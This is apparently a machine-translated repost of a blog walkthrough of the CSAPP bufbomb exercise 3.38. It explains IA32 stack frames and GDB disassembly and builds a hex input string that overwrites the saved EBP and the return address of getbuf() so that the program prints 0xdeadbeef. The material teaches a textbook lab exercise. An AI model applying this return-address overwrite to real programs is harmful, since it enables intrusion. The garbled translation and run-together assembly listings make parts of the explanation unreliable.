STACK FRAME and buffer overflow

xiaoxiao2021-03-06  37

CSAPP class posts 3.38, which use buffer overflow to attack a program so that its output is 0xDeadbeef. The source code of the program can be obtained from http://csapp.cs.cmu.edu/public/code/ASM/buffomb.c. The main body of the program is the following two functions: int getBuf () {char Buf [12]; getxs (buf); return 1;}

Void test () {Int val; printf ("Type Hex String:"); VAL = getBuf (); Printf ("GetBuf Returned 0x% X / N", VAL);} At first glance, the function getBUF always returns 1 Then, the final printing must be "getBuf returned 0x1" (the author's environment is Win2K cygwin2.427 gcc3.33) Look at how the function calls of the high language are assembled in the language: icon can be viewed here Illustration in CSAPP Before calling, the caller will put the parameters of the function in the stack: MOV% EAX, 0x4 (% ESP, 1) MOVL $ 0x403011, (% ESP, 1) and call this function: Call 0x401530 When executing the CALL instruction, the current% EIP will be automatically in the stack, and the function will begin to execute when the function is returned. At the beginning of a function, it must be the beginning of the following two instructions: PUSH% EBPMOV% ESP,% EBP This operation will set the original% EBP to the stack, the value of the% ESP assigns% EBP, which is called the function of the function of the function EBP The content refers to the% EBP of the caller. In general, it will follow the following instructions: SUB $ 0x8,% ESP (here the space size required to be called function is related, not necessarily an 8) STACK FRAME is the function. The space between the% EBP and% ESP, the size here is 8 bytes. % EBP is a FramePoImter of the current function, refers to the starting position of the current Frame, which is stored in% EBP that calls this function. (Here, you can refer to the microcode implementation of the CALL instruction in "Structured Computer Composition", which is equivalent to the LV pointer in the figure.) When executed in the ISA instruction CALL, the user current register% EIP will be pressed into the stack. Then jump to the called function. When the ISA instruction RET is executed, the CPU will POP in the stack, put it in% EIP, and the program jumps to this instruction to continue. From the STACK FRAME, we can see two things: 1, memory layout. Where% EBP 4 is stored in the command address returned, local variables are stored in the Locals and Temporaries in the figure, such as the function getBUF declares that the string array buf [12], the location should be% EBP-N (N is Positive, large and 12, specific values, and compilers). BUF's growth in the figure is up, then the location of BUF [16] may be the location of the% EBP, and the location of BUF [20] may be the RETURN Address of the function. As long as you override, you can let the function perform the code we need, this is the fundamental harm of buffer overflow. 2, function call rules. The IA32 register is divided into two types: the so-called Caller Save Registers refers to the registers that the caller is responsible, while the caller can use the register that is free to use without recovery. Including% EAX,% EDX, and% ECX, when the compiler generates assembly code, if the called function is found to use, these registers are used, first put these registers used in the stack. There is also a called function that Callee Save Registers refers to the register of its status. Before and after the function call, the caller does not see its change register.

Before the function call, you may first put the Caller Save Registers (whether or not the number of registers required for use is required), and then press the function's parameters from the back, then the next is Call call (change step) The current% EIP will be incorporated. We need to print 0xDeadBeef, then place it in% ESP 4 when calling the function printf. Background introduction here, the following is the specific solution step: First, the return value of the function getBuf () is stored in the register $ EAX, it is unmodable. The purpose of the program is to print "getBuf returned 0xdeadbeef" 1, compile file gcc -o2 -g bufbomb.c -o bufbomb.exe2, use GDB anti-compilation to obtain executable, get its assembly code 0x00401120 : Push% EBP0X00401121 : MOV% ESP,% EBP0X0040112 : SUB $ 0x8,% ESP0X00401126 : MOVL $ 0x403000, (% ESP, 1) 0x0040112D : Call 0x401530 0x00401132 : Call 0x401100 0x00401137 : MOV% EAX, 0x4 (% ESP, 1) 0x0040113B : MOVL $ 0x403011, (% ESP , 1) 0x00401142 : Call 0x401530 0x00401147 : MOV% EBP,% ESP0X00401149 : pop% EBP0X0040114A : Ret), instruction 0x00401137 : MOV% EAX, 0x4 (% ESP, 1) is the function getBuf () returning EIP, which corresponds to the parameter VAL stack of the function Printf, the command 0x0040113B : Movl $ 0x403011 (% ESP, 1) is a directive of the "GetBuf Returned 0x% X / N" of the function PrINTF, which is the instruction we will want to jump. In this step, we get the first useful information: the target's EIP is 0x0040113b.3, and the breakpoint is set at the first printed statement of the function TEST, and the register information of the function is obtained. The ESP 0x22EF30EBP 0x22EF38 can be found from the above disassembly code that the second parameter VAL address of Printf is 0x4 ($ ESP, 1), that is, 0x22ef34. In this way, we get the second useful information: 0xDeadbeef will be placed in four bytes starting at address 0x22ef34

4, set the short point in the function getBuf entry, get the address of the BUF, and the register information of the function: (GDB) P & Buf $ 2 = (char (*) 12) 0x22EF10 (GDB) I Resp 0x22ef00ebp 0x22ef28 can know the third useful information : BUF's starting position is 0x22ef10, $ EBP is 0x22ef28 (in other words, the content between 0x22ef10 to 0x222ef27 can be filled in, in order to count, the content we write is the lowest bit of its memory address) 5, observe $ EBP content refers to the memory address: (gdb) x / 16 0x22ef100x22ef10 0x610f0d68 0x00403000 0x0022ef34 0x000000000x22ef20 0x00000000 0x00000010 0x0022ef38 0x004011370x22ef30 0x00403000 0x0a052ce0 0x0022ef98 0x004011800x22ef40 0x00000f50 0x77e63b28 0x00000320 0x00000000 wherein 0x4 (% ebp) is 0x22ef2c is later getbuf return instruction address, the current value Is 0x00401137, that is, the command of the VAL stack. We have obtained the fourth useful information: need to modify the contents of the memory address 0x22ef2c to 0x0040113B6, synthesize several information: first getting such a string: 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1e 1F 20 21 22 23 24 25 26 27 (This paragraph is not important) 38 EF 22 00 (original EBP) 3B 11 40 00 (new return address) 00 30 40 00 (string "getBuf ReturNe 0x% x / n" Pointer) EF BE ED DE 98 EF 22 (where to store the $ EBP of the function main, the string ends with 00, you must add these characters to ensure that the address is not modified) Linux environment , Process method similar to

转载请注明原文地址:https://www.9cbs.com/read-78126.html

New Post(0)